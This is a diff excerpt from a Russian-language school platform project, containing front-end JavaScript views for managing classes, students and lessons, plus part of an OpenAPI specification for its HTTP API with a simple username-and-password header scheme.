el("div", { class: "card-body" }, [
|
||||
(() => {
|
||||
const box = el("div", {
|
||||
class: "form-grid",
|
||||
style: "margin-bottom:8px",
|
||||
});
|
||||
box.innerHTML = `
|
||||
<div class="input"><label>ID ученика (для добавления/удаления)</label><input id="st-to-add" type="number" min="1"></div>
|
||||
<div class="small">Выберите класс в таблице и используйте кнопки «Добавить ученика»/«Убрать ученика»</div>`;
|
||||
return box;
|
||||
})(),
|
||||
el("table", { class: "table", id: "class-table" }, [
|
||||
el(
|
||||
"thead",
|
||||
{},
|
||||
el("tr", {}, [
|
||||
el("th", {}, "ID"),
|
||||
el("th", {}, "Класс"),
|
||||
el("th", {}, "Создатель"),
|
||||
el("th", {}, ""),
|
||||
])
|
||||
),
|
||||
el("tbody"),
|
||||
]),
|
||||
]),
|
||||
]);
|
||||
|
||||
wrap.appendChild(formCard);
|
||||
wrap.appendChild(listCard);
|
||||
|
||||
async function refresh() {
|
||||
const { data } = await Api.listClasses(session);
|
||||
const tbody = listCard.querySelector("tbody");
|
||||
tbody.innerHTML = "";
|
||||
for (const c of data?.["классы"] || []) {
|
||||
const tr = el("tr");
|
||||
tr.appendChild(el("td", {}, String(c["идентификатор"])));
|
||||
tr.appendChild(
|
||||
el("td", {}, `${c["номер"] || ""}${c["буква"] ? "-" + c["буква"] : ""}`)
|
||||
);
|
||||
tr.appendChild(el("td", {}, String(c["создатель"] ?? "")));
|
||||
const actions = el("td");
|
||||
const btnAdd = el("button", { class: "btn" }, "Добавить ученика");
|
||||
btnAdd.addEventListener("click", async () => {
|
||||
const sid = Number($("#st-to-add", listCard)?.value || 0);
|
||||
if (!sid) return alert("Укажите ID ученика");
|
||||
try {
|
||||
await Api.addStudentToClass(session, c["идентификатор"], sid);
|
||||
await refresh();
|
||||
} catch (e) {
|
||||
alert(e.message || "Не удалось добавить ученика");
|
||||
}
|
||||
});
|
||||
const btnRm = el("button", { class: "btn secondary" }, "Убрать ученика");
|
||||
btnRm.addEventListener("click", async () => {
|
||||
const sid = Number($("#st-to-add", listCard)?.value || 0);
|
||||
if (!sid) return alert("Укажите ID ученика");
|
||||
try {
|
||||
await Api.removeStudentFromClass(session, c["идентификатор"], sid);
|
||||
await refresh();
|
||||
} catch (e) {
|
||||
alert(e.message || "Не удалось удалить ученика");
|
||||
}
|
||||
});
|
||||
const btnDel = el("button", { class: "btn danger" }, "Удалить класс");
|
||||
btnDel.addEventListener("click", async () => {
|
||||
if (!confirm("Удалить класс?")) return;
|
||||
await Api.deleteClass(session, c["идентификатор"]);
|
||||
await refresh();
|
||||
});
|
||||
actions.appendChild(btnAdd);
|
||||
actions.appendChild(btnRm);
|
||||
actions.appendChild(btnDel);
|
||||
tr.appendChild(actions);
|
||||
tbody.appendChild(tr);
|
||||
}
|
||||
}
|
||||
|
||||
refresh().catch(console.error);
|
||||
return wrap;
|
||||
}
|
||||
|
||||
function studentsView(session) {
|
||||
const wrap = el("div", { class: "grid-two" });
|
||||
|
||||
const formCard = el("div", { class: "card" }, [
|
||||
el("div", { class: "card-header" }, "Создать ученика"),
|
||||
el("div", { class: "card-body" }, [
|
||||
(() => {
|
||||
const form = el("form", { class: "form-grid" });
|
||||
form.innerHTML = `
|
||||
<div class="input"><label>Имя</label><input name="имя" required></div>
|
||||
<div class="input"><label>Фамилия</label><input name="фамилия" required></div>
|
||||
<div class="input"><label>Отчество</label><input name="отчество" required></div>
|
||||
<div class="input"><label>СНИЛС</label><input name="снилс" required></div>
|
||||
<div class="input"><label>Паспорт</label><input name="паспорт" required></div>
|
||||
<div class="input"><label>Пароль</label><input type="password" name="пароль" required></div>
|
||||
<div class="input"><label>Повтор пароля</label><input type="password" name="повтор пароля" required></div>
|
||||
<div class="actions"><button class="btn">Создать</button></div>
|
||||
<div id="st-err" class="error hidden"></div>`;
|
||||
form.addEventListener("submit", async (e) => {
|
||||
e.preventDefault();
|
||||
const payload = formToJSON(form);
|
||||
try {
|
||||
await Api.createStudent(session, payload);
|
||||
await refresh();
|
||||
form.reset();
|
||||
} catch (err) {
|
||||
const box = form.querySelector("#st-err");
|
||||
box.classList.remove("hidden");
|
||||
box.textContent = err.message || "Ошибка создания ученика";
|
||||
}
|
||||
});
|
||||
return form;
|
||||
})(),
|
||||
]),
|
||||
]);
|
||||
|
||||
const listCard = el("div", { class: "card" }, [
|
||||
el("div", { class: "card-header" }, "Ученики"),
|
||||
el("div", { class: "card-body" }, [
|
||||
el("table", { class: "table", id: "st-table" }, [
|
||||
el(
|
||||
"thead",
|
||||
{},
|
||||
el("tr", {}, [
|
||||
el("th", {}, "ID"),
|
||||
el("th", {}, "ФИО"),
|
||||
el("th", {}, "Имя пользователя"),
|
||||
el("th", {}, ""),
|
||||
])
|
||||
),
|
||||
el("tbody"),
|
||||
]),
|
||||
]),
|
||||
]);
|
||||
|
||||
wrap.appendChild(formCard);
|
||||
wrap.appendChild(listCard);
|
||||
|
||||
async function refresh() {
|
||||
const { data } = await Api.listStudents(session);
|
||||
const tbody = listCard.querySelector("tbody");
|
||||
tbody.innerHTML = "";
|
||||
for (const s of data?.["ученики"] || []) {
|
||||
const tr = el("tr");
|
||||
tr.appendChild(el("td", {}, String(s["идентификатор"])));
|
||||
tr.appendChild(
|
||||
el(
|
||||
"td",
|
||||
{},
|
||||
`${s["фамилия"] || ""} ${s["имя"] || ""} ${
|
||||
s["отчество"] || ""
|
||||
}`.trim()
|
||||
)
|
||||
);
|
||||
tr.appendChild(el("td", {}, s["имя пользователя"] || ""));
|
||||
const actions = el("td");
|
||||
const btnDel = el("button", { class: "btn danger" }, "Удалить");
|
||||
btnDel.addEventListener("click", async () => {
|
||||
if (!confirm("Удалить ученика?")) return;
|
||||
await Api.deleteStudent(session, s["идентификатор"]);
|
||||
await refresh();
|
||||
});
|
||||
actions.appendChild(btnDel);
|
||||
tr.appendChild(actions);
|
||||
tbody.appendChild(tr);
|
||||
}
|
||||
}
|
||||
|
||||
refresh().catch(console.error);
|
||||
return wrap;
|
||||
}
|
||||
|
||||
function lessonsView(session) {
|
||||
const wrap = el("div", { class: "grid-two" });
|
||||
|
||||
const formCard = el("div", { class: "card" }, [
|
||||
el("div", { class: "card-header" }, "Создать урок"),
|
||||
el("div", { class: "card-body" }, [
|
||||
(() => {
|
||||
const form = el("form", { class: "form-grid" });
|
||||
form.innerHTML = `
|
||||
<div class="input"><label>ID класса</label><input name="classId" required type="number" min="1"></div>
|
||||
<div class="input"><label>Дата</label><input name="дата" type="date" value="${fmtDateInput()}" required></div>
|
||||
<div class="input"><label>Тема</label><input name="тема" required></div>
|
||||
<div class="input" style="grid-column: 1/-1"><label>Домашнее задание</label><textarea name="домашка" rows="3"></textarea></div>
|
||||
<div class="actions"><button class="btn">Создать</button></div>
|
||||
<div id="lsn-err" class="error hidden"></div>`;
|
||||
form.addEventListener("submit", async (e) => {
|
||||
e.preventDefault();
|
||||
const f = new FormData(form);
|
||||
const classId = Number(f.get("classId"));
|
||||
const payload = {
|
||||
дата: f.get("дата"),
|
||||
тема: f.get("тема"),
|
||||
домашка: f.get("домашка"),
|
||||
};
|
||||
try {
|
||||
await Api.createLesson(session, classId, payload);
|
||||
await refresh();
|
||||
} catch (err) {
|
||||
const box = form.querySelector("#lsn-err");
|
||||
box.classList.remove("hidden");
|
||||
box.textContent = err.message || "Ошибка создания урока";
|
||||
}
|
||||
});
|
||||
return form;
|
||||
})(),
|
||||
]),
|
||||
]);
|
||||
|
||||
const listCard = el("div", { class: "card" }, [
|
||||
el("div", { class: "card-header" }, "Уроки класса"),
|
||||
el("div", { class: "card-body" }, [
|
||||
(() => {
|
||||
const filter = el("div", {
|
||||
class: "form-grid",
|
||||
style: "margin-bottom:8px",
|
||||
});
|
||||
filter.innerHTML = `
|
||||
<div class="input"><label>ID класса</label><input id="flt-class" type="number" min="1"></div>
|
||||
<div class="input"><label>Дата</label><input id="flt-date" type="date"></div>
|
||||
<div class="actions" style="align-self:end"><button id="btn-load" class="btn" type="button">Загрузить</button></div>`;
|
||||
return filter;
|
||||
})(),
|
||||
el("table", { class: "table", id: "lsn-table" }, [
|
||||
el(
|
||||
"thead",
|
||||
{},
|
||||
el("tr", {}, [
|
||||
el("th", {}, "ID"),
|
||||
el("th", {}, "Класс"),
|
||||
el("th", {}, "Дата"),
|
||||
el("th", {}, "Тема"),
|
||||
el("th", {}, "Д/З"),
|
||||
el("th", {}, ""),
|
||||
])
|
||||
),
|
||||
el("tbody"),
|
||||
]),
|
||||
]),
|
||||
]);
|
||||
|
||||
wrap.appendChild(formCard);
|
||||
wrap.appendChild(listCard);
|
||||
|
||||
async function refresh() {
|
||||
const classId = Number($("#flt-class", listCard)?.value || 0);
|
||||
const date = $("#flt-date", listCard)?.value || undefined;
|
||||
if (!classId) return;
|
||||
const { data } = await Api.listLessons(session, classId, date);
|
||||
const tbody = listCard.querySelector("tbody");
|
||||
tbody.innerHTML = "";
|
||||
for (const l of data?.["уроки"] || []) {
|
||||
const tr = el("tr");
|
||||
tr.appendChild(el("td", {}, String(l["идентификатор"])));
|
||||
tr.appendChild(el("td", {}, String(l["идентификатор класса"])));
|
||||
tr.appendChild(el("td", {}, l["дата"] || ""));
|
||||
tr.appendChild(el("td", {}, l["название"] || ""));
|
||||
tr.appendChild(el("td", {}, l["домашнее задание"] || ""));
|
||||
const actions = el("td");
|
||||
const btnDel = el("button", { class: "btn danger" }, "Удалить");
|
||||
btnDel.addEventListener("click", async () => {
|
||||
if (!confirm("Удалить урок?")) return;
|
||||
await Api.deleteLessonById(
|
||||
session,
|
||||
l["идентификатор класса"],
|
||||
l["идентификатор"]
|
||||
);
|
||||
await refresh();
|
||||
});
|
||||
actions.appendChild(btnDel);
|
||||
tr.appendChild(actions);
|
||||
tbody.appendChild(tr);
|
||||
}
|
||||
}
|
||||
|
||||
$("#btn-load", listCard)?.addEventListener("click", refresh);
|
||||
|
||||
return wrap;
|
||||
}
|
||||
|
||||
function dashboardView() {
|
||||
const card = el("div", { class: "card" }, [
|
||||
el("div", { class: "card-header" }, "Сводная"),
|
||||
el("div", { class: "card-body" }, [
|
||||
el(
|
||||
"p",
|
||||
{},
|
||||
"Добро пожаловать! Используйте боковое меню, чтобы работать с данными."
|
||||
),
|
||||
el(
|
||||
"p",
|
||||
{ class: "small" },
|
||||
`Стоят пассажиры в аэропорту, посадочный досмотр проходят. Дошла очередь до мужика с чемоданом.
|
||||
— Пожалуйста, приготовьте чемодан к осмотру.
|
||||
— Не могу.
|
||||
— Почему?
|
||||
— А у меня там бипки!
|
||||
— А что это?
|
||||
— Ну, пропатчите сервис на тривиле — покажу!
|
||||
Служба безопасности шутку не поняла, вызвала наряд полиции:
|
||||
— Гражданин, открывайте чемодан.
|
||||
— Но я не могу!
|
||||
— Почему не можете?
|
||||
— Потому что у меня там бипки!
|
||||
— «Бипки»? Что это?
|
||||
— Так реализуйте гарбадж коллектор мне, и я покажу!
|
||||
Отобрали чемодан, а открыть никто не может. Повезли мужика в СИЗО. В камере сидельцы расспрашивают:
|
||||
— Братуха, за что тебя?
|
||||
— Да чемодан отказался открывать.
|
||||
— А что там?
|
||||
— Да бипки там.
|
||||
— Какие еще «бипки»?
|
||||
— Ну документацию обновите мне, тогда и расскажу.
|
||||
И вот угодил мужик в лазарет, с побоями да синяками по всему телу, весь перебинтован, еле дышит. Следователи вызвали группу специалистов для вскрытия чемодана. Час, два, три пыхтели. Кое-как разворотили, смотрят — а там бипки.`
|
||||
),
|
||||
]),
|
||||
]);
|
||||
return card;
|
||||
}
|
||||
|
||||
route("/dashboard", async ({ view }) => {
|
||||
const s = needSession();
|
||||
view.appendChild(sectionTabs("dashboard"));
|
||||
view.appendChild(dashboardView(s));
|
||||
});
|
||||
route("/teacher/classes", async ({ view }) => {
|
||||
const s = needSession();
|
||||
view.appendChild(sectionTabs("classes"));
|
||||
view.appendChild(classesView(s));
|
||||
});
|
||||
route("/teacher/students", async ({ view }) => {
|
||||
const s = needSession();
|
||||
view.appendChild(sectionTabs("students"));
|
||||
view.appendChild(studentsView(s));
|
||||
});
|
||||
route("/teacher/lessons", async ({ view }) => {
|
||||
const s = needSession();
|
||||
view.appendChild(sectionTabs("lessons"));
|
||||
view.appendChild(lessonsView(s));
|
||||
});
|
||||
812
openapi/srab.yaml
Normal file
812
openapi/srab.yaml
Normal file
@@ -0,0 +1,812 @@
|
||||
openapi: 3.0.3
|
||||
info:
|
||||
title: SRAB Учебная Платформа
|
||||
version: 1.0.0
|
||||
description: >
|
||||
HTTP API, реализованное контроллерами из каталога `исх/властелины`.
|
||||
Аутентификация выполняется с помощью заголовка `Authorization` вида
|
||||
`Basic <имя_пользователя> <пароль>` (без base64).
|
||||
|
||||
servers:
|
||||
- url: http://localhost:1337
|
||||
|
||||
tags:
|
||||
- name: Главный
|
||||
- name: Пользователи
|
||||
- name: Классы
|
||||
- name: Уроки
|
||||
- name: Ученики
|
||||
- name: Учителя
|
||||
|
||||
components:
|
||||
securitySchemes:
|
||||
BasicPassport:
|
||||
type: apiKey
|
||||
in: header
|
||||
name: Authorization
|
||||
description: >
|
||||
Формат: `Basic <имя_пользователя> <пароль>`. Используется для всех защищённых маршрутов.
|
||||
schemas:
|
||||
LoginRequest:
|
||||
type: object
|
||||
required: ["имя пользователя", "пароль"]
|
||||
properties:
|
||||
"имя пользователя":
|
||||
type: string
|
||||
"пароль":
|
||||
type: string
|
||||
CreateTeacherRequest:
|
||||
type: object
|
||||
required:
|
||||
["имя", "фамилия", "отчество", "образование", "пароль", "повтор пароля"]
|
||||
properties:
|
||||
"имя":
|
||||
type: string
|
||||
"фамилия":
|
||||
type: string
|
||||
"отчество":
|
||||
type: string
|
||||
"образование":
|
||||
type: string
|
||||
"пароль":
|
||||
type: string
|
||||
"повтор пароля":
|
||||
type: string
|
||||
ChangePasswordRequest:
|
||||
type: object
|
||||
required: ["новый пароль"]
|
||||
properties:
|
||||
"новый пароль":
|
||||
type: string
|
||||
Student:
|
||||
type: object
|
||||
properties:
|
||||
"идентификатор":
|
||||
type: integer
|
||||
format: int64
|
||||
"имя":
|
||||
type: string
|
||||
"фамилия":
|
||||
type: string
|
||||
"отчество":
|
||||
type: string
|
||||
"снилс":
|
||||
type: string
|
||||
"паспорт":
|
||||
type: string
|
||||
"наставник":
|
||||
type: integer
|
||||
format: int64
|
||||
"имя пользователя":
|
||||
type: string
|
||||
StudentListResponse:
|
||||
type: object
|
||||
properties:
|
||||
"ученики":
|
||||
type: array
|
||||
items:
|
||||
$ref: "#/components/schemas/Student"
|
||||
CreateStudentResponse:
|
||||
type: object
|
||||
properties:
|
||||
"идентификатор":
|
||||
type: integer
|
||||
format: int64
|
||||
"имя":
|
||||
type: string
|
||||
"фамилия":
|
||||
type: string
|
||||
"отчество":
|
||||
type: string
|
||||
"снилс":
|
||||
type: string
|
||||
"паспорт":
|
||||
type: string
|
||||
"учитель":
|
||||
type: integer
|
||||
format: int64
|
||||
"имя пользователя":
|
||||
type: string
|
||||
Teacher:
|
||||
type: object
|
||||
properties:
|
||||
"идентификатор":
|
||||
type: integer
|
||||
format: int64
|
||||
"имя":
|
||||
type: string
|
||||
"фамилия":
|
||||
type: string
|
||||
"отчество":
|
||||
type: string
|
||||
"имя пользователя":
|
||||
type: string
|
||||
"образование":
|
||||
type: string
|
||||
TeacherListResponse:
|
||||
type: object
|
||||
properties:
|
||||
"учителя":
|
||||
type: array
|
||||
items:
|
||||
$ref: "#/components/schemas/Teacher"
|
||||
CreateStudentRequest:
|
||||
type: object
|
||||
required:
|
||||
[
|
||||
"имя",
|
||||
"фамилия",
|
||||
"отчество",
|
||||
"снилс",
|
||||
"паспорт",
|
||||
"пароль",
|
||||
"повтор пароля",
|
||||
]
|
||||
properties:
|
||||
"имя":
|
||||
type: string
|
||||
"фамилия":
|
||||
type: string
|
||||
"отчество":
|
||||
type: string
|
||||
"снилс":
|
||||
type: string
|
||||
"паспорт":
|
||||
type: string
|
||||
"пароль":
|
||||
type: string
|
||||
"повтор пароля":
|
||||
type: string
|
||||
Class:
|
||||
type: object
|
||||
properties:
|
||||
"идентификатор":
|
||||
type: integer
|
||||
format: int64
|
||||
"номер":
|
||||
type: integer
|
||||
"буква":
|
||||
type: string
|
||||
"создатель":
|
||||
type: integer
|
||||
format: int64
|
||||
ClassListResponse:
|
||||
type: object
|
||||
properties:
|
||||
"классы":
|
||||
type: array
|
||||
items:
|
||||
$ref: "#/components/schemas/Class"
|
||||
CreateClassRequest:
|
||||
type: object
|
||||
required: ["номер", "буква"]
|
||||
properties:
|
||||
"номер":
|
||||
type: integer
|
||||
"буква":
|
||||
type: string
|
||||
description: Однобуквенное обозначение параллели.
|
||||
Lesson:
|
||||
type: object
|
||||
properties:
|
||||
"идентификатор":
|
||||
type: integer
|
||||
format: int64
|
||||
"идентификатор класса":
|
||||
type: integer
|
||||
format: int64
|
||||
"дата":
|
||||
type: string
|
||||
description: Дата урока (YYYY-MM-DD).
|
||||
"название":
|
||||
type: string
|
||||
"домашнее задание":
|
||||
type: string
|
||||
LessonListResponse:
|
||||
type: object
|
||||
properties:
|
||||
"уроки":
|
||||
type: array
|
||||
items:
|
||||
$ref: "#/components/schemas/Lesson"
|
||||
CreateLessonRequest:
|
||||
type: object
|
||||
required: []
|
||||
properties:
|
||||
"дата":
|
||||
type: string
|
||||
description: Дата урока; альтернативно можно использовать поле «дата урока».
|
||||
"дата урока":
|
||||
type: string
|
||||
description: Альтернативное имя поля «дата».
|
||||
"название":
|
||||
type: string
|
||||
description: Название урока; альтернативно можно использовать поле «тема».
|
||||
"тема":
|
||||
type: string
|
||||
description: Альтернативное имя поля «название».
|
||||
"домашнее задание":
|
||||
type: string
|
||||
description: Текст домашнего задания; альтернативно можно использовать поле «домашка».
|
||||
"домашка":
|
||||
type: string
|
||||
description: Альтернативное имя поля «домашнее задание».
|
||||
description: >
|
||||
Требует хотя бы одно из полей «дата» или «дата урока», а также «название» или «тема».
|
||||
Остальные поля необязательны.
|
||||
paths:
|
||||
/api/:
|
||||
get:
|
||||
tags: [Главный]
|
||||
summary: Проверка здоровья сервиса.
|
||||
responses:
|
||||
"200":
|
||||
description: Успешный ответ.
|
||||
content:
|
||||
text/plain:
|
||||
schema:
|
||||
type: string
|
||||
example: Привет, мир!
|
||||
|
||||
/api/users:
|
||||
post:
|
||||
tags: [Пользователи]
|
||||
summary: Регистрация учителя (создание пользователя-учителя).
|
||||
requestBody:
|
||||
required: true
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: "#/components/schemas/CreateTeacherRequest"
|
||||
responses:
|
||||
"201":
|
||||
description: Учитель создан.
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: "#/components/schemas/Teacher"
|
||||
examples:
|
||||
success:
|
||||
summary: Пример созданного учителя
|
||||
value:
|
||||
идентификатор: 1
|
||||
образование: "высшее"
|
||||
имя: "Иван"
|
||||
фамилия: "Иванов"
|
||||
отчество: "Иванович"
|
||||
имя пользователя: "Иван.Иванов"
|
||||
"400":
|
||||
description: Невалидное тело запроса или пароли не совпадают.
|
||||
"500":
|
||||
description: Ошибка при обращении к базе.
|
||||
|
||||
/api/users/login:
|
||||
post:
|
||||
tags: [Пользователи]
|
||||
summary: Аутентификация пользователя.
|
||||
requestBody:
|
||||
required: true
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: "#/components/schemas/LoginRequest"
|
||||
responses:
|
||||
"200":
|
||||
description: Аутентификация прошла успешно.
|
||||
content:
|
||||
text/plain:
|
||||
schema:
|
||||
type: string
|
||||
example: Рады видеть вас снова :3
|
||||
"401":
|
||||
description: Неверные учётные данные.
|
||||
"500":
|
||||
description: Внутренняя ошибка при обращении к базе.
|
||||
|
||||
/api/users/password:
|
||||
put:
|
||||
tags: [Пользователи]
|
||||
summary: Смена пароля авторизованного пользователя.
|
||||
security:
|
||||
- BasicPassport: []
|
||||
requestBody:
|
||||
required: true
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: "#/components/schemas/ChangePasswordRequest"
|
||||
responses:
|
||||
"204":
|
||||
description: Пароль успешно изменён.
|
||||
"400":
|
||||
description: Невалидное тело запроса.
|
||||
"401":
|
||||
description: Неавторизовано (нет или неверный паспорт).
|
||||
"422":
|
||||
description: Новый пароль отсутствует или пустой.
|
||||
"500":
|
||||
description: Ошибка при обращении к базе.
|
||||
|
||||
/api/classes:
|
||||
get:
|
||||
tags: [Классы]
|
||||
summary: Список классов, созданных учителем.
|
||||
security:
|
||||
- BasicPassport: []
|
||||
parameters:
|
||||
- name: "учитель"
|
||||
in: query
|
||||
required: false
|
||||
description: >
|
||||
Идентификатор учителя для фильтрации. Для администраторов параметр обязателен;
|
||||
для учителей по умолчанию используется их собственный идентификатор, если
|
||||
параметр не указан.
|
||||
schema:
|
||||
type: integer
|
||||
format: int64
|
||||
example: 42
|
||||
responses:
|
||||
"200":
|
||||
description: Список доступных классов.
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: "#/components/schemas/ClassListResponse"
|
||||
"400":
|
||||
description: >
|
||||
Некорректные параметры запроса: администраторам необходимо указать параметр
|
||||
«учитель», либо передано неверное значение параметра.
|
||||
"401":
|
||||
description: Пользователь не авторизован.
|
||||
"403":
|
||||
description: Пользователь не является учителем.
|
||||
"500":
|
||||
description: Ошибка базы данных.
|
||||
post:
|
||||
tags: [Классы]
|
||||
summary: Создание нового класса.
|
||||
security:
|
||||
- BasicPassport: []
|
||||
requestBody:
|
||||
required: true
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: "#/components/schemas/CreateClassRequest"
|
||||
responses:
|
||||
"201":
|
||||
description: Класс создан.
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: "#/components/schemas/Class"
|
||||
"400":
|
||||
description: Невалидное тело запроса.
|
||||
"401":
|
||||
description: Пользователь не авторизован.
|
||||
"403":
|
||||
description: Пользователь не является учителем.
|
||||
"422":
|
||||
description: Нарушение ограничений БД (дублирование и т.п.).
|
||||
"500":
|
||||
description: Ошибка базы данных.
|
||||
|
||||
/api/classes/{classId}:
|
||||
delete:
|
||||
tags: [Классы]
|
||||
summary: Удаление класса учителя.
|
||||
security:
|
||||
- BasicPassport: []
|
||||
parameters:
|
||||
- name: classId
|
||||
in: path
|
||||
required: true
|
||||
description: Идентификатор класса.
|
||||
schema:
|
||||
type: integer
|
||||
format: int64
|
||||
responses:
|
||||
"204":
|
||||
description: Класс удалён.
|
||||
"400":
|
||||
description: Не указан идентификатор.
|
||||
"401":
|
||||
description: Пользователь не авторизован.
|
||||
"403":
|
||||
description: Класс не принадлежит учителю.
|
||||
"404":
|
||||
description: Класс не найден.
|
||||
"500":
|
||||
description: Ошибка базы данных.
|
||||
|
||||
/api/classes/{classId}/students/{studentId}:
|
||||
post:
|
||||
tags: [Классы]
|
||||
summary: Добавление ученика в класс.
|
||||
security:
|
||||
- BasicPassport: []
|
||||
parameters:
|
||||
- name: classId
|
||||
in: path
|
||||
required: true
|
||||
schema:
|
||||
type: integer
|
||||
format: int64
|
||||
- name: studentId
|
||||
in: path
|
||||
required: true
|
||||
schema:
|
||||
type: integer
|
||||
format: int64
|
||||
responses:
|
||||
"201":
|
||||
description: Ученик добавлен.
|
||||
"400":
|
||||
description: Недостаточно параметров в маршруте.
|
||||
"401":
|
||||
description: Пользователь не авторизован.
|
||||
"403":
|
||||
description: Класс не принадлежит учителю.
|
||||
"404":
|
||||
description: Ученик не найден.
|
||||
"422":
|
||||
description: Связь уже существует или нарушена целостность.
|
||||
"500":
|
||||
description: Ошибка базы данных.
|
||||
delete:
|
||||
tags: [Классы]
|
||||
summary: Удаление ученика из класса.
|
||||
security:
|
||||
- BasicPassport: []
|
||||
parameters:
|
||||
- name: classId
|
||||
in: path
|
||||
required: true
|
||||
schema:
|
||||
type: integer
|
||||
format: int64
|
||||
- name: studentId
|
||||
in: path
|
||||
required: true
|
||||
schema:
|
||||
type: integer
|
||||
format: int64
|
||||
responses:
|
||||
"204":
|
||||
description: Ученик удалён из класса.
|
||||
"400":
|
||||
description: Недостаточно параметров в маршруте.
|
||||
"401":
|
||||
description: Пользователь не авторизован.
|
||||
"403":
|
||||
description: Класс не принадлежит учителю.
|
||||
"404":
|
||||
description: Связь ученик-класс не найдена.
|
||||
"500":
|
||||
description: Ошибка базы данных.
|
||||
|
||||
/api/classes/{classId}/lessons:
|
||||
post:
|
||||
tags: [Уроки]
|
||||
summary: Создание урока.
|
||||
security:
|
||||
- BasicPassport: []
|
||||
parameters:
|
||||
- name: classId
|
||||
in: path
|
||||
required: true
|
||||
schema:
|
||||
type: integer
|
||||
format: int64
|
||||
requestBody:
|
||||
required: true
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: "#/components/schemas/CreateLessonRequest"
|
||||
responses:
|
||||
"201":
|
||||
description: Урок создан.
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: "#/components/schemas/Lesson"
|
||||
"400":
|
||||
description: Невалидное тело или отсутствуют обязательные поля.
|
||||
"401":
|
||||
description: Пользователь не авторизован.
|
||||
"403":
|
||||
description: Класс не принадлежит учителю.
|
||||
"422":
|
||||
description: Нарушение ограничений при вставке.
|
||||
"500":
|
||||
description: Ошибка базы данных.
|
||||
get:
|
||||
tags: [Уроки]
|
||||
summary: Список уроков класса.
|
||||
security:
|
||||
- BasicPassport: []
|
||||
parameters:
|
||||
- name: classId
|
||||
in: path
|
||||
required: true
|
||||
schema:
|
||||
type: integer
|
||||
format: int64
|
||||
- name: date
|
||||
in: query
|
||||
required: false
|
||||
schema:
|
||||
type: string
|
||||
description: >
|
||||
Дополнительный фильтр по дате (YYYY-MM-DD). Аналогичен маршрутам с сегментом `/date/{date}`.
|
||||
responses:
|
||||
"200":
|
||||
description: Успешный ответ.
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: "#/components/schemas/LessonListResponse"
|
||||
"400":
|
||||
description: Не указан идентификатор класса.
|
||||
"401":
|
||||
description: Пользователь не авторизован.
|
||||
"403":
|
||||
description: Нет доступа к классу.
|
||||
"404":
|
||||
description: Класс не найден.
|
||||
"500":
|
||||
description: Ошибка базы данных.
|
||||
|
||||
/api/classes/{classId}/lessons/{date}:
|
||||
get:
|
||||
tags: [Уроки]
|
||||
summary: Список уроков класса за указанную дату.
|
||||
security:
|
||||
- BasicPassport: []
|
||||
parameters:
|
||||
- name: classId
|
||||
in: path
|
||||
required: true
|
||||
schema:
|
||||
type: integer
|
||||
format: int64
|
||||
- name: date
|
||||
in: path
|
||||
required: true
|
||||
schema:
|
||||
type: string
|
||||
description: Дата в формате YYYY-MM-DD.
|
||||
responses:
|
||||
"200":
|
||||
description: Успешный ответ.
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: "#/components/schemas/LessonListResponse"
|
||||
"400":
|
||||
description: Недостаточно параметров.
|
||||
"401":
|
||||
description: Пользователь не авторизован.
|
||||
"403":
|
||||
description: Нет доступа к классу.
|
||||
"404":
|
||||
description: Класс не найден.
|
||||
"500":
|
||||
description: Ошибка базы данных.
|
||||
delete:
|
||||
tags: [Уроки]
|
||||
summary: Удаление урока по идентификатору.
|
||||
security:
|
||||
- BasicPassport: []
|
||||
parameters:
|
||||
- name: classId
|
||||
in: path
|
||||
required: true
|
||||
schema:
|
||||
type: integer
|
||||
format: int64
|
||||
- name: date
|
||||
in: path
|
||||
required: true
|
||||
schema:
|
||||
type: integer
|
||||
format: int64
|
||||
description: Идентификатор урока для удаления.
|
||||
responses:
|
||||
"204":
|
||||
description: Урок удалён.
|
||||
"400":
|
||||
description: Недостаточно параметров.
|
||||
"401":
|
||||
description: Пользователь не авторизован.
|
||||
"403":
|
||||
description: Класс не принадлежит учителю.
|
||||
"404":
|
||||
description: Урок не найден.
|
||||
"500":
|
||||
description: Ошибка базы данных.
|
||||
|
||||
/api/classes/{classId}/lessons/date/{date}:
|
||||
get:
|
||||
tags: [Уроки]
|
||||
summary: Альтернативный маршрут фильтрации уроков по дате.
|
||||
security:
|
||||
- BasicPassport: []
|
||||
parameters:
|
||||
- name: classId
|
||||
in: path
|
||||
required: true
|
||||
schema:
|
||||
type: integer
|
||||
format: int64
|
||||
- name: date
|
||||
in: path
|
||||
required: true
|
||||
schema:
|
||||
type: string
|
||||
description: Дата в формате YYYY-MM-DD.
|
||||
responses:
|
||||
"200":
|
||||
description: Успешный ответ.
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: "#/components/schemas/LessonListResponse"
|
||||
"400":
|
||||
description: Недостаточно параметров.
|
||||
"401":
|
||||
description: Пользователь не авторизован.
|
||||
"403":
|
||||
description: Нет доступа к классу.
|
||||
"404":
|
||||
description: Класс не найден.
|
||||
"500":
|
||||
description: Ошибка базы данных.
|
||||
|
||||
/api/students:
|
||||
post:
|
||||
tags: [Ученики]
|
||||
summary: Создание ученика (только для учителей).
|
||||
security:
|
||||
- BasicPassport: []
|
||||
requestBody:
|
||||
required: true
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: "#/components/schemas/CreateStudentRequest"
|
||||
responses:
|
||||
"201":
|
||||
description: Ученик создан.
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: "#/components/schemas/CreateStudentResponse"
|
||||
"400":
|
||||
description: Невалидное тело запроса или пароли не совпадают.
|
||||
"401":
|
||||
description: Пользователь не авторизован.
|
||||
"403":
|
||||
description: Пользователь не является учителем.
|
||||
"500":
|
||||
description: Ошибка базы данных.
|
||||
get:
|
||||
tags: [Ученики]
|
||||
summary: Список учеников по учителю.
|
||||
security:
|
||||
- BasicPassport: []
|
||||
parameters:
|
||||
- name: "учитель"
|
||||
in: query
|
||||
